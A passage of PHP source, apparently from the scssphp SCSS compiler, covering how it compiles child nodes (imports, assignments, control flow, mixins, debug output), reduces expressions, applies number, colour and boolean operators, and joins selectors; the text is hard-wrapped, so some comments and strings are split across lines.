                return false;
            }

            foreach ($rawPath[2] as $path) {
                if ($path[0] !== Type::T_STRING) {
                    return false;
                }
            }

            foreach ($rawPath[2] as $path) {
                $this->compileImport($path, $out);
            }

            return true;
        }

        return false;
    }

    /**
     * Compile child; returns a value to halt execution
     *
     * @param array                                $child
     * @param \Leafo\ScssPhp\Formatter\OutputBlock $out
     *
     * @return array
     */
    protected function compileChild($child, OutputBlock $out)
    {
        if (isset($child[Parser::SOURCE_LINE])) {
            $this->sourceIndex = isset($child[Parser::SOURCE_INDEX]) ?
$child[Parser::SOURCE_INDEX] : null;
            $this->sourceLine = isset($child[Parser::SOURCE_LINE]) ?
$child[Parser::SOURCE_LINE] : -1;
            $this->sourceColumn = isset($child[Parser::SOURCE_COLUMN]) ?
$child[Parser::SOURCE_COLUMN] : -1;
        } elseif (is_array($child) &&
isset($child[1]->sourceLine)) {
            $this->sourceIndex = $child[1]->sourceIndex;
            $this->sourceLine = $child[1]->sourceLine;
            $this->sourceColumn = $child[1]->sourceColumn;
        } elseif (! empty($out->sourceLine) && !
empty($out->sourceName)) {
            $this->sourceLine = $out->sourceLine;
            $this->sourceIndex = array_search($out->sourceName,
$this->sourceNames);

            if ($this->sourceIndex === false) {
                $this->sourceIndex = null;
            }
        }

        switch ($child[0]) {
            case Type::T_SCSSPHP_IMPORT_ONCE:
                $rawPath = $this->reduce($child[1]);

                if (! $this->compileImport($rawPath, $out, true)) {
                    $out->lines[] = '@import ' .
$this->compileValue($rawPath) . ';';
                }
                break;

            case Type::T_IMPORT:
                $rawPath = $this->reduce($child[1]);

                if (! $this->compileImport($rawPath, $out)) {
                    $out->lines[] = '@import ' .
$this->compileValue($rawPath) . ';';
                }
                break;

            case Type::T_DIRECTIVE:
                $this->compileDirective($child[1]);
                break;

            case Type::T_AT_ROOT:
                $this->compileAtRoot($child[1]);
                break;

            case Type::T_MEDIA:
                $this->compileMedia($child[1]);
                break;

            case Type::T_BLOCK:
                $this->compileBlock($child[1]);
                break;

            case Type::T_CHARSET:
                if (! $this->charsetSeen) {
                    $this->charsetSeen = true;

                    $out->lines[] = '@charset ' .
$this->compileValue($child[1]) . ';';
                }
                break;

            case Type::T_ASSIGN:
                list(, $name, $value) = $child;

                if ($name[0] === Type::T_VARIABLE) {
                    $flags = isset($child[3]) ? $child[3] : [];
                    $isDefault = in_array('!default', $flags);
                    $isGlobal = in_array('!global', $flags);

                    if ($isGlobal) {
                        $this->set($name[1], $this->reduce($value),
false, $this->rootEnv, $value);
                        break;
                    }

                    $shouldSet = $isDefault &&
                        (($result = $this->get($name[1], false)) ===
null
                        || $result === static::$null);

                    if (! $isDefault || $shouldSet) {
                        $this->set($name[1], $this->reduce($value),
true, null, $value);
                    }
                    break;
                }

                $compiledName = $this->compileValue($name);

                // handle shorthand syntax: size / line-height
                if ($compiledName === 'font' || $compiledName ===
'grid-row' || $compiledName === 'grid-column') {
                    if ($value[0] === Type::T_VARIABLE) {
                        // if the font value comes from variable, the
content is already reduced
                        // (i.e., formulas were already calculated), so we
need the original unreduced value
                        $value = $this->get($value[1], true, null,
true);
                    }

                    $fontValue=&$value;

                    if ($value[0] === Type::T_LIST &&
$value[1]==',') {
                        // this is the case if more than one font is given:
example: "font: 400 1em/1.3 arial,helvetica"
                        // we need to handle the first list element
                        $fontValue=&$value[2][0];
                    }

                    if ($fontValue[0] === Type::T_EXPRESSION &&
$fontValue[1] === '/') {
                        $fontValue = $this->expToString($fontValue);
                    } elseif ($fontValue[0] === Type::T_LIST) {
                        foreach ($fontValue[2] as &$item) {
                            if ($item[0] === Type::T_EXPRESSION &&
$item[1] === '/') {
                                $item = $this->expToString($item);
                            }
                        }
                    }
                }

                // if the value reduces to null from something else then
                // the property should be discarded
                if ($value[0] !== Type::T_NULL) {
                    $value = $this->reduce($value);

                    if ($value[0] === Type::T_NULL || $value ===
static::$nullString) {
                        break;
                    }
                }

                $compiledValue = $this->compileValue($value);

                $out->lines[] = $this->formatter->property(
                    $compiledName,
                    $compiledValue
                );
                break;

            case Type::T_COMMENT:
                if ($out->type === Type::T_ROOT) {
                    $this->compileComment($child);
                    break;
                }

                $out->lines[] = $child[1];
                break;

            case Type::T_MIXIN:
            case Type::T_FUNCTION:
                list(, $block) = $child;

                $this->set(static::$namespaces[$block->type] .
$block->name, $block);
                break;

            case Type::T_EXTEND:
                foreach ($child[1] as $sel) {
                    $results = $this->evalSelectors([$sel]);

                    foreach ($results as $result) {
                        // only use the first one
                        $result = current($result);

                        $this->pushExtends($result, $out->selectors,
$child);
                    }
                }
                break;

            case Type::T_IF:
                list(, $if) = $child;

                if ($this->isTruthy($this->reduce($if->cond,
true))) {
                    return $this->compileChildren($if->children,
$out);
                }

                foreach ($if->cases as $case) {
                    if ($case->type === Type::T_ELSE ||
                        $case->type === Type::T_ELSEIF &&
$this->isTruthy($this->reduce($case->cond))
                    ) {
                        return
$this->compileChildren($case->children, $out);
                    }
                }
                break;

            case Type::T_EACH:
                list(, $each) = $child;

                $list =
$this->coerceList($this->reduce($each->list));

                $this->pushEnv();

                foreach ($list[2] as $item) {
                    if (count($each->vars) === 1) {
                        $this->set($each->vars[0], $item, true);
                    } else {
                        list(,, $values) = $this->coerceList($item);

                        foreach ($each->vars as $i => $var) {
                            $this->set($var, isset($values[$i]) ?
$values[$i] : static::$null, true);
                        }
                    }

                    $ret = $this->compileChildren($each->children,
$out);

                    if ($ret) {
                        if ($ret[0] !== Type::T_CONTROL) {
                            $this->popEnv();

                            return $ret;
                        }

                        if ($ret[1]) {
                            break;
                        }
                    }
                }

                $this->popEnv();
                break;

            case Type::T_WHILE:
                list(, $while) = $child;

                while ($this->isTruthy($this->reduce($while->cond,
true))) {
                    $ret = $this->compileChildren($while->children,
$out);

                    if ($ret) {
                        if ($ret[0] !== Type::T_CONTROL) {
                            return $ret;
                        }

                        if ($ret[1]) {
                            break;
                        }
                    }
                }
                break;

            case Type::T_FOR:
                list(, $for) = $child;

                $start = $this->reduce($for->start, true);
                $end   = $this->reduce($for->end, true);

                if (! ($start[2] == $end[2] || $end->unitless())) {
                    $this->throwError('Incompatible units:
"%s" and "%s".', $start->unitStr(),
$end->unitStr());

                    break;
                }

                $unit  = $start[2];
                $start = $start[1];
                $end   = $end[1];

                $d = $start < $end ? 1 : -1;

                for (;;) {
                    if ((! $for->until && $start - $d == $end)
||
                        ($for->until && $start == $end)
                    ) {
                        break;
                    }

                    $this->set($for->var, new Node\Number($start,
$unit));
                    $start += $d;

                    $ret = $this->compileChildren($for->children,
$out);

                    if ($ret) {
                        if ($ret[0] !== Type::T_CONTROL) {
                            return $ret;
                        }

                        if ($ret[1]) {
                            break;
                        }
                    }
                }
                break;

            case Type::T_BREAK:
                return [Type::T_CONTROL, true];

            case Type::T_CONTINUE:
                return [Type::T_CONTROL, false];

            case Type::T_RETURN:
                return $this->reduce($child[1], true);

            case Type::T_NESTED_PROPERTY:
                list(, $prop) = $child;

                $prefixed = [];
                $prefix = $this->compileValue($prop->prefix) .
'-';

                foreach ($prop->children as $child) {
                    switch ($child[0]) {
                        case Type::T_ASSIGN:
                            array_unshift($child[1][2], $prefix);
                            break;

                        case Type::T_NESTED_PROPERTY:
                            array_unshift($child[1]->prefix[2],
$prefix);
                            break;
                    }

                    $prefixed[] = $child;
                }

                $this->compileChildrenNoReturn($prefixed, $out);
                break;

            case Type::T_INCLUDE:
                // including a mixin
                list(, $name, $argValues, $content) = $child;

                $mixin =
$this->get(static::$namespaces['mixin'] . $name, false);

                if (! $mixin) {
                    $this->throwError("Undefined mixin
$name");
                    break;
                }

                $callingScope = $this->getStoreEnv();

                // push scope, apply args
                $this->pushEnv();
                $this->env->depth--;

                $storeEnv = $this->storeEnv;
                $this->storeEnv = $this->env;

                // Find the parent selectors in the env to be able to know
what '&' refers to in the mixin
                // and assign this fake parent to childs
                $selfParent = null;

                if (isset($child['selfParent']) &&
isset($child['selfParent']->selectors)) {
                    $selfParent = $child['selfParent'];
                } else {
                    $parentSelectors =
$this->multiplySelectors($this->env);

                    if ($parentSelectors) {
                        $parent = new Block();
                        $parent->selectors = $parentSelectors;

                        foreach ($mixin->children as $k => $child) {
                            if (isset($child[1]) &&
is_object($child[1]) && $child[1] instanceof Block) {
                                $mixin->children[$k][1]->parent =
$parent;
                            }
                        }
                    }
                }

                // clone the stored content to not have its scope spoiled
by a further call to the same mixin
                // i.e., recursive @include of the same mixin
                if (isset($content)) {
                    $copyContent = clone $content;
                    $copyContent->scope = $callingScope;

                   
$this->setRaw(static::$namespaces['special'] .
'content', $copyContent, $this->env);
                }

                if (isset($mixin->args)) {
                    $this->applyArguments($mixin->args, $argValues);
                }

                $this->env->marker = 'mixin';

                $this->compileChildrenNoReturn($mixin->children,
$out, $selfParent, $this->env->marker . " " . $name);

                $this->storeEnv = $storeEnv;

                $this->popEnv();
                break;

            case Type::T_MIXIN_CONTENT:
                $env = isset($this->storeEnv) ? $this->storeEnv :
$this->env;
                $content =
$this->get(static::$namespaces['special'] .
'content', false, $env);

                if (! $content) {
                    $content = new \stdClass();
                    $content->scope = new \stdClass();
                    $content->children =
$this->storeEnv->parent->block->children;
                    break;
                }

                $storeEnv = $this->storeEnv;
                $this->storeEnv = $content->scope;
                $this->compileChildrenNoReturn($content->children,
$out);

                $this->storeEnv = $storeEnv;
                break;

            case Type::T_DEBUG:
                list(, $value) = $child;

                $fname = $this->sourceNames[$this->sourceIndex];
                $line = $this->sourceLine;
                $value = $this->compileValue($this->reduce($value,
true));
                fwrite($this->stderr, "File $fname on line $line
DEBUG: $value\n");
                break;

            case Type::T_WARN:
                list(, $value) = $child;

                $fname = $this->sourceNames[$this->sourceIndex];
                $line = $this->sourceLine;
                $value = $this->compileValue($this->reduce($value,
true));
                fwrite($this->stderr, "File $fname on line $line
WARN: $value\n");
                break;

            case Type::T_ERROR:
                list(, $value) = $child;

                $fname = $this->sourceNames[$this->sourceIndex];
                $line = $this->sourceLine;
                $value = $this->compileValue($this->reduce($value,
true));
                $this->throwError("File $fname on line $line ERROR:
$value\n");
                break;

            case Type::T_CONTROL:
                $this->throwError('@break/@continue not permitted
in this scope');
                break;

            default:
                $this->throwError("unknown child type:
$child[0]");
        }
    }

    /**
     * Reduce expression to string
     *
     * @param array $exp
     *
     * @return array
     */
    protected function expToString($exp)
    {
        list(, $op, $left, $right, /* $inParens */, $whiteLeft,
$whiteRight) = $exp;

        $content = [$this->reduce($left)];

        if ($whiteLeft) {
            $content[] = ' ';
        }

        $content[] = $op;

        if ($whiteRight) {
            $content[] = ' ';
        }

        $content[] = $this->reduce($right);

        return [Type::T_STRING, '', $content];
    }

    /**
     * Is truthy?
     *
     * @param array $value
     *
     * @return boolean
     */
    protected function isTruthy($value)
    {
        return $value !== static::$false && $value !==
static::$null;
    }

    /**
     * Is the value a direct relationship combinator?
     *
     * @param string $value
     *
     * @return boolean
     */
    protected function isImmediateRelationshipCombinator($value)
    {
        return $value === '>' || $value === '+' ||
$value === '~';
    }

    /**
     * Should $value cause its operand to eval
     *
     * @param array $value
     *
     * @return boolean
     */
    protected function shouldEval($value)
    {
        switch ($value[0]) {
            case Type::T_EXPRESSION:
                if ($value[1] === '/') {
                    return $this->shouldEval($value[2]) ||
$this->shouldEval($value[3]);
                }

                // fall-thru
            case Type::T_VARIABLE:
            case Type::T_FUNCTION_CALL:
                return true;
        }

        return false;
    }

    /**
     * Reduce value
     *
     * @param array   $value
     * @param boolean $inExp
     *
     * @return array|\Leafo\ScssPhp\Node\Number
     */
    protected function reduce($value, $inExp = false)
    {

        switch ($value[0]) {
            case Type::T_EXPRESSION:
                list(, $op, $left, $right, $inParens) = $value;

                $opName = isset(static::$operatorNames[$op]) ?
static::$operatorNames[$op] : $op;
                $inExp = $inExp || $this->shouldEval($left) ||
$this->shouldEval($right);

                $left = $this->reduce($left, true);

                if ($op !== 'and' && $op !==
'or') {
                    $right = $this->reduce($right, true);
                }

                // special case: looks like css shorthand
                if ($opName == 'div' && ! $inParens
&& ! $inExp && isset($right[2])
                    && (($right[0] !== Type::T_NUMBER &&
$right[2] != '')
                    || ($right[0] === Type::T_NUMBER && !
$right->unitless()))
                ) {
                    return $this->expToString($value);
                }

                $left = $this->coerceForExpression($left);
                $right = $this->coerceForExpression($right);

                $ltype = $left[0];
                $rtype = $right[0];

                $ucOpName = ucfirst($opName);
                $ucLType  = ucfirst($ltype);
                $ucRType  = ucfirst($rtype);

                // this tries:
                // 1. op[op name][left type][right type]
                // 2. op[left type][right type] (passing the op as first
arg
                // 3. op[op name]
                $fn = "op${ucOpName}${ucLType}${ucRType}";

                if (is_callable([$this, $fn]) ||
                    (($fn = "op${ucLType}${ucRType}") &&
                        is_callable([$this, $fn]) &&
                        $passOp = true) ||
                    (($fn = "op${ucOpName}") &&
                        is_callable([$this, $fn]) &&
                        $genOp = true)
                ) {
                    $coerceUnit = false;

                    if (! isset($genOp) &&
                        $left[0] === Type::T_NUMBER && $right[0]
=== Type::T_NUMBER
                    ) {
                        $coerceUnit = true;

                        switch ($opName) {
                            case 'mul':
                                $targetUnit = $left[2];

                                foreach ($right[2] as $unit => $exp) {
                                    $targetUnit[$unit] =
(isset($targetUnit[$unit]) ? $targetUnit[$unit] : 0) + $exp;
                                }
                                break;

                            case 'div':
                                $targetUnit = $left[2];

                                foreach ($right[2] as $unit => $exp) {
                                    $targetUnit[$unit] =
(isset($targetUnit[$unit]) ? $targetUnit[$unit] : 0) - $exp;
                                }
                                break;

                            case 'mod':
                                $targetUnit = $left[2];
                                break;

                            default:
                                $targetUnit = $left->unitless() ?
$right[2] : $left[2];
                        }

                        if (! $left->unitless() && !
$right->unitless()) {
                            $left = $left->normalize();
                            $right = $right->normalize();
                        }
                    }

                    $shouldEval = $inParens || $inExp;

                    if (isset($passOp)) {
                        $out = $this->$fn($op, $left, $right,
$shouldEval);
                    } else {
                        $out = $this->$fn($left, $right, $shouldEval);
                    }

                    if (isset($out)) {
                        if ($coerceUnit && $out[0] ===
Type::T_NUMBER) {
                            $out = $out->coerce($targetUnit);
                        }

                        return $out;
                    }
                }

                return $this->expToString($value);

            case Type::T_UNARY:
                list(, $op, $exp, $inParens) = $value;

                $inExp = $inExp || $this->shouldEval($exp);
                $exp = $this->reduce($exp);

                if ($exp[0] === Type::T_NUMBER) {
                    switch ($op) {
                        case '+':
                            return new Node\Number($exp[1], $exp[2]);

                        case '-':
                            return new Node\Number(-$exp[1], $exp[2]);
                    }
                }

                if ($op === 'not') {
                    if ($inExp || $inParens) {
                        if ($exp === static::$false || $exp ===
static::$null) {
                            return static::$true;
                        }

                        return static::$false;
                    }

                    $op = $op . ' ';
                }

                return [Type::T_STRING, '', [$op, $exp]];

            case Type::T_VARIABLE:
                return $this->reduce($this->get($value[1]));

            case Type::T_LIST:
                foreach ($value[2] as &$item) {
                    $item = $this->reduce($item);
                }

                return $value;

            case Type::T_MAP:
                foreach ($value[1] as &$item) {
                    $item = $this->reduce($item);
                }

                foreach ($value[2] as &$item) {
                    $item = $this->reduce($item);
                }

                return $value;

            case Type::T_STRING:
                foreach ($value[2] as &$item) {
                    if (is_array($item) || $item instanceof \ArrayAccess) {
                        $item = $this->reduce($item);
                    }
                }

                return $value;

            case Type::T_INTERPOLATE:
                $value[1] = $this->reduce($value[1]);
                if ($inExp) {
                    return $value[1];
                }

                return $value;

            case Type::T_FUNCTION_CALL:
                return $this->fncall($value[1], $value[2]);

            case Type::T_SELF:
                $selfSelector = $this->multiplySelectors($this->env);
                $selfSelector = $this->collapseSelectors($selfSelector,
true);
                return $selfSelector;

            default:
                return $value;
        }
    }

    /**
     * Function caller
     *
     * @param string $name
     * @param array  $argValues
     *
     * @return array|null
     */
    protected function fncall($name, $argValues)
    {
        // SCSS @function
        if ($this->callScssFunction($name, $argValues, $returnValue)) {
            return $returnValue;
        }

        // native PHP functions
        if ($this->callNativeFunction($name, $argValues, $returnValue))
{
            return $returnValue;
        }

        // for CSS functions, simply flatten the arguments into a list
        $listArgs = [];

        foreach ((array) $argValues as $arg) {
            if (empty($arg[0])) {
                $listArgs[] = $this->reduce($arg[1]);
            }
        }

        return [Type::T_FUNCTION, $name, [Type::T_LIST, ',',
$listArgs]];
    }

    /**
     * Normalize name
     *
     * @param string $name
     *
     * @return string
     */
    protected function normalizeName($name)
    {
        return str_replace('-', '_', $name);
    }

    /**
     * Normalize value
     *
     * @param array $value
     *
     * @return array
     */
    public function normalizeValue($value)
    {
        $value = $this->coerceForExpression($this->reduce($value));

        switch ($value[0]) {
            case Type::T_LIST:
                $value = $this->extractInterpolation($value);

                if ($value[0] !== Type::T_LIST) {
                    return [Type::T_KEYWORD,
$this->compileValue($value)];
                }

                foreach ($value[2] as $key => $item) {
                    $value[2][$key] = $this->normalizeValue($item);
                }

                return $value;

            case Type::T_STRING:
                return [$value[0], '"',
[$this->compileStringContent($value)]];

            case Type::T_NUMBER:
                return $value->normalize();

            case Type::T_INTERPOLATE:
                return [Type::T_KEYWORD, $this->compileValue($value)];

            default:
                return $value;
        }
    }

    /**
     * Add numbers
     *
     * @param array $left
     * @param array $right
     *
     * @return \Leafo\ScssPhp\Node\Number
     */
    protected function opAddNumberNumber($left, $right)
    {
        return new Node\Number($left[1] + $right[1], $left[2]);
    }

    /**
     * Multiply numbers
     *
     * @param array $left
     * @param array $right
     *
     * @return \Leafo\ScssPhp\Node\Number
     */
    protected function opMulNumberNumber($left, $right)
    {
        return new Node\Number($left[1] * $right[1], $left[2]);
    }

    /**
     * Subtract numbers
     *
     * @param array $left
     * @param array $right
     *
     * @return \Leafo\ScssPhp\Node\Number
     */
    protected function opSubNumberNumber($left, $right)
    {
        return new Node\Number($left[1] - $right[1], $left[2]);
    }

    /**
     * Divide numbers
     *
     * @param array $left
     * @param array $right
     *
     * @return array|\Leafo\ScssPhp\Node\Number
     */
    protected function opDivNumberNumber($left, $right)
    {
        if ($right[1] == 0) {
            return [Type::T_STRING, '', [$left[1] . $left[2] .
'/' . $right[1] . $right[2]]];
        }

        return new Node\Number($left[1] / $right[1], $left[2]);
    }

    /**
     * Mod numbers
     *
     * @param array $left
     * @param array $right
     *
     * @return \Leafo\ScssPhp\Node\Number
     */
    protected function opModNumberNumber($left, $right)
    {
        return new Node\Number($left[1] % $right[1], $left[2]);
    }

    /**
     * Add strings
     *
     * @param array $left
     * @param array $right
     *
     * @return array|null
     */
    protected function opAdd($left, $right)
    {
        if ($strLeft = $this->coerceString($left)) {
            if ($right[0] === Type::T_STRING) {
                $right[1] = '';
            }

            $strLeft[2][] = $right;

            return $strLeft;
        }

        if ($strRight = $this->coerceString($right)) {
            if ($left[0] === Type::T_STRING) {
                $left[1] = '';
            }

            array_unshift($strRight[2], $left);

            return $strRight;
        }

        return null;
    }

    /**
     * Boolean and
     *
     * @param array   $left
     * @param array   $right
     * @param boolean $shouldEval
     *
     * @return array|null
     */
    protected function opAnd($left, $right, $shouldEval)
    {
        $truthy = ($left === static::$null || $right === static::$null) ||
                  ($left === static::$false || $left === static::$true)
&&
                  ($right === static::$false || $right === static::$true);

        if (! $shouldEval) {
            if (! $truthy) {
                return null;
            }
        }

        if ($left !== static::$false && $left !== static::$null) {
            return $this->reduce($right, true);
        }

        return $left;
    }

    /**
     * Boolean or
     *
     * @param array   $left
     * @param array   $right
     * @param boolean $shouldEval
     *
     * @return array|null
     */
    protected function opOr($left, $right, $shouldEval)
    {
        $truthy = ($left === static::$null || $right === static::$null) ||
                  ($left === static::$false || $left === static::$true)
&&
                  ($right === static::$false || $right === static::$true);

        if (! $shouldEval) {
            if (! $truthy) {
                return null;
            }
        }

        if ($left !== static::$false && $left !== static::$null) {
            return $left;
        }

        return $this->reduce($right, true);
    }

    /**
     * Compare colors
     *
     * @param string $op
     * @param array  $left
     * @param array  $right
     *
     * @return array
     */
    protected function opColorColor($op, $left, $right)
    {
        $out = [Type::T_COLOR];

        foreach ([1, 2, 3] as $i) {
            $lval = isset($left[$i]) ? $left[$i] : 0;
            $rval = isset($right[$i]) ? $right[$i] : 0;

            switch ($op) {
                case '+':
                    $out[] = $lval + $rval;
                    break;

                case '-':
                    $out[] = $lval - $rval;
                    break;

                case '*':
                    $out[] = $lval * $rval;
                    break;

                case '%':
                    $out[] = $lval % $rval;
                    break;

                case '/':
                    if ($rval == 0) {
                        $this->throwError("color: Can't divide
by zero");
                        break 2;
                    }

                    $out[] = (int) ($lval / $rval);
                    break;

                case '==':
                    return $this->opEq($left, $right);

                case '!=':
                    return $this->opNeq($left, $right);

                default:
                    $this->throwError("color: unknown op
$op");
                    break 2;
            }
        }

        if (isset($left[4])) {
            $out[4] = $left[4];
        } elseif (isset($right[4])) {
            $out[4] = $right[4];
        }

        return $this->fixColor($out);
    }

    /**
     * Compare color and number
     *
     * @param string $op
     * @param array  $left
     * @param array  $right
     *
     * @return array
     */
    protected function opColorNumber($op, $left, $right)
    {
        $value = $right[1];

        return $this->opColorColor(
            $op,
            $left,
            [Type::T_COLOR, $value, $value, $value]
        );
    }

    /**
     * Compare number and color
     *
     * @param string $op
     * @param array  $left
     * @param array  $right
     *
     * @return array
     */
    protected function opNumberColor($op, $left, $right)
    {
        $value = $left[1];

        return $this->opColorColor(
            $op,
            [Type::T_COLOR, $value, $value, $value],
            $right
        );
    }

    /**
     * Compare number1 == number2
     *
     * @param array $left
     * @param array $right
     *
     * @return array
     */
    protected function opEq($left, $right)
    {
        if (($lStr = $this->coerceString($left)) && ($rStr =
$this->coerceString($right))) {
            $lStr[1] = '';
            $rStr[1] = '';

            $left = $this->compileValue($lStr);
            $right = $this->compileValue($rStr);
        }

        return $this->toBool($left === $right);
    }

    /**
     * Compare number1 != number2
     *
     * @param array $left
     * @param array $right
     *
     * @return array
     */
    protected function opNeq($left, $right)
    {
        if (($lStr = $this->coerceString($left)) && ($rStr =
$this->coerceString($right))) {
            $lStr[1] = '';
            $rStr[1] = '';

            $left = $this->compileValue($lStr);
            $right = $this->compileValue($rStr);
        }

        return $this->toBool($left !== $right);
    }

    /**
     * Compare number1 >= number2
     *
     * @param array $left
     * @param array $right
     *
     * @return array
     */
    protected function opGteNumberNumber($left, $right)
    {
        return $this->toBool($left[1] >= $right[1]);
    }

    /**
     * Compare number1 > number2
     *
     * @param array $left
     * @param array $right
     *
     * @return array
     */
    protected function opGtNumberNumber($left, $right)
    {
        return $this->toBool($left[1] > $right[1]);
    }

    /**
     * Compare number1 <= number2
     *
     * @param array $left
     * @param array $right
     *
     * @return array
     */
    protected function opLteNumberNumber($left, $right)
    {
        return $this->toBool($left[1] <= $right[1]);
    }

    /**
     * Compare number1 < number2
     *
     * @param array $left
     * @param array $right
     *
     * @return array
     */
    protected function opLtNumberNumber($left, $right)
    {
        return $this->toBool($left[1] < $right[1]);
    }

    /**
     * Three-way comparison, aka spaceship operator
     *
     * @param array $left
     * @param array $right
     *
     * @return \Leafo\ScssPhp\Node\Number
     */
    protected function opCmpNumberNumber($left, $right)
    {
        $n = $left[1] - $right[1];

        return new Node\Number($n ? $n / abs($n) : 0, '');
    }

    /**
     * Cast to boolean
     *
     * @api
     *
     * @param mixed $thing
     *
     * @return array
     */
    public function toBool($thing)
    {
        return $thing ? static::$true : static::$false;
    }

    /**
     * Compiles a primitive value into a CSS property value.
     *
     * Values in scssphp are typed by being wrapped in arrays, their format
is
     * typically:
     *
     *     array(type, contents [, additional_contents]*)
     *
     * The input is expected to be reduced. This function will not work on
     * things like expressions and variables.
     *
     * @api
     *
     * @param array $value
     *
     * @return string
     */
    public function compileValue($value)
    {
        $value = $this->reduce($value);

        switch ($value[0]) {
            case Type::T_KEYWORD:
                return $value[1];

            case Type::T_COLOR:
                // [1] - red component (either number for a %)
                // [2] - green component
                // [3] - blue component
                // [4] - optional alpha component
                list(, $r, $g, $b) = $value;

                $r = round($r);
                $g = round($g);
                $b = round($b);

                if (count($value) === 5 && $value[4] !== 1) { //
rgba
                    $a = new Node\Number($value[4], '');

                    return 'rgba(' . $r . ', ' . $g .
', ' . $b . ', ' . $a . ')';
                }

                $h = sprintf('#%02x%02x%02x', $r, $g, $b);

                // Converting hex color to short notation (e.g. #003399 to
#039)
                if ($h[1] === $h[2] && $h[3] === $h[4] &&
$h[5] === $h[6]) {
                    $h = '#' . $h[1] . $h[3] . $h[5];
                }

                return $h;

            case Type::T_NUMBER:
                return $value->output($this);

            case Type::T_STRING:
                return $value[1] . $this->compileStringContent($value) .
$value[1];

            case Type::T_FUNCTION:
                $args = ! empty($value[2]) ?
$this->compileValue($value[2]) : '';

                return "$value[1]($args)";

            case Type::T_LIST:
                $value = $this->extractInterpolation($value);

                if ($value[0] !== Type::T_LIST) {
                    return $this->compileValue($value);
                }

                list(, $delim, $items) = $value;

                if ($delim !== ' ') {
                    $delim .= ' ';
                }

                $filtered = [];

                foreach ($items as $item) {
                    if ($item[0] === Type::T_NULL) {
                        continue;
                    }

                    $filtered[] = $this->compileValue($item);
                }

                return implode("$delim", $filtered);

            case Type::T_MAP:
                $keys = $value[1];
                $values = $value[2];
                $filtered = [];

                for ($i = 0, $s = count($keys); $i < $s; $i++) {
                    $filtered[$this->compileValue($keys[$i])] =
$this->compileValue($values[$i]);
                }

                array_walk($filtered, function (&$value, $key) {
                    $value = $key . ': ' . $value;
                });

                return '(' . implode(', ', $filtered) .
')';

            case Type::T_INTERPOLATED:
                // node created by extractInterpolation
                list(, $interpolate, $left, $right) = $value;
                list(,, $whiteLeft, $whiteRight) = $interpolate;

                $left = count($left[2]) > 0 ?
                    $this->compileValue($left) . $whiteLeft :
'';

                $right = count($right[2]) > 0 ?
                    $whiteRight . $this->compileValue($right) :
'';

                return $left . $this->compileValue($interpolate) .
$right;

            case Type::T_INTERPOLATE:
                // strip quotes if it's a string
                $reduced = $this->reduce($value[1]);

                switch ($reduced[0]) {
                    case Type::T_LIST:
                        $reduced =
$this->extractInterpolation($reduced);

                        if ($reduced[0] !== Type::T_LIST) {
                            break;
                        }

                        list(, $delim, $items) = $reduced;

                        if ($delim !== ' ') {
                            $delim .= ' ';
                        }

                        $filtered = [];

                        foreach ($items as $item) {
                            if ($item[0] === Type::T_NULL) {
                                continue;
                            }

                            $temp =
$this->compileValue([Type::T_KEYWORD, $item]);
                            if ($temp[0] === Type::T_STRING) {
                                $filtered[] =
$this->compileStringContent($temp);
                            } elseif ($temp[0] === Type::T_KEYWORD) {
                                $filtered[] = $temp[1];
                            } else {
                                $filtered[] =
$this->compileValue($temp);
                            }
                        }

                        $reduced = [Type::T_KEYWORD,
implode("$delim", $filtered)];
                        break;

                    case Type::T_STRING:
                        $reduced = [Type::T_KEYWORD,
$this->compileStringContent($reduced)];
                        break;

                    case Type::T_NULL:
                        $reduced = [Type::T_KEYWORD, ''];
                }

                return $this->compileValue($reduced);

            case Type::T_NULL:
                return 'null';

            default:
                $this->throwError("unknown value type:
$value[0]");
        }
    }

    /**
     * Flatten list
     *
     * @param array $list
     *
     * @return string
     */
    protected function flattenList($list)
    {
        return $this->compileValue($list);
    }

    /**
     * Compile string content
     *
     * @param array $string
     *
     * @return string
     */
    protected function compileStringContent($string)
    {
        $parts = [];

        foreach ($string[2] as $part) {
            if (is_array($part) || $part instanceof \ArrayAccess) {
                $parts[] = $this->compileValue($part);
            } else {
                $parts[] = $part;
            }
        }

        return implode($parts);
    }

    /**
     * Extract interpolation; it doesn't need to be recursive,
compileValue will handle that
     *
     * @param array $list
     *
     * @return array
     */
    protected function extractInterpolation($list)
    {
        $items = $list[2];

        foreach ($items as $i => $item) {
            if ($item[0] === Type::T_INTERPOLATE) {
                $before = [Type::T_LIST, $list[1], array_slice($items, 0,
$i)];
                $after  = [Type::T_LIST, $list[1], array_slice($items, $i +
1)];

                return [Type::T_INTERPOLATED, $item, $before, $after];
            }
        }

        return $list;
    }

    /**
     * Find the final set of selectors
     *
     * @param \Leafo\ScssPhp\Compiler\Environment $env
     * @param \Leafo\ScssPhp\Block                $selfParent
     *
     * @return array
     */
    protected function multiplySelectors(Environment $env, $selfParent =
null)
    {
        $envs            = $this->compactEnv($env);
        $selectors       = [];
        $parentSelectors = [[]];

        $selfParentSelectors = null;

        if (! is_null($selfParent) && $selfParent->selectors) {
            $selfParentSelectors =
$this->evalSelectors($selfParent->selectors);
        }

        while ($env = array_pop($envs)) {
            if (empty($env->selectors)) {
                continue;
            }

            $selectors = $env->selectors;

            do {
                $stillHasSelf = false;
                $prevSelectors = $selectors;
                $selectors = [];

                foreach ($prevSelectors as $selector) {
                    foreach ($parentSelectors as $parent) {
                        if ($selfParentSelectors) {
                            foreach ($selfParentSelectors as $selfParent) {
                                // if no '&' in the selector,
each call will give same result, only add once
                                $s = $this->joinSelectors($parent,
$selector, $stillHasSelf, $selfParent);
                                $selectors[serialize($s)] = $s;
                            }
                        } else {
                            $s = $this->joinSelectors($parent,
$selector, $stillHasSelf);
                            $selectors[serialize($s)] = $s;
                        }
                    }
                }
            } while ($stillHasSelf);

            $parentSelectors = $selectors;
        }

        $selectors = array_values($selectors);

        return $selectors;
    }

    /**
     * Join selectors; looks for & to replace, or append parent before
child
     *
     * @param array   $parent
     * @param array   $child
     * @param boolean &$stillHasSelf
     * @param array   $selfParentSelectors

     * @return array
     */
    protected function joinSelectors($parent, $child, &$stillHasSelf,
$selfParentSelectors = null)
    {
        $setSelf = false;
        $out = [];

        foreach ($child as $part) {
            $newPart = [];

            foreach ($part as $p) {
                // only replace & once and should be recalled to be
able to make combinations
                if ($p === static::$selfSelector && $setSelf) {
                    $stillHasSelf = true;
                }

                if ($p === static::$selfSelector && ! $setSelf) {
                    $setSelf = true;

                    if (is_null($selfParentSelectors)) {
                        $selfParentSelectors = $parent;
                    }

                    foreach ($selfParentSelectors as $i => $parentPart)
{
                        if ($i > 0) {
                            $out[] = $newPart;
                            $newPart = [];
                        }

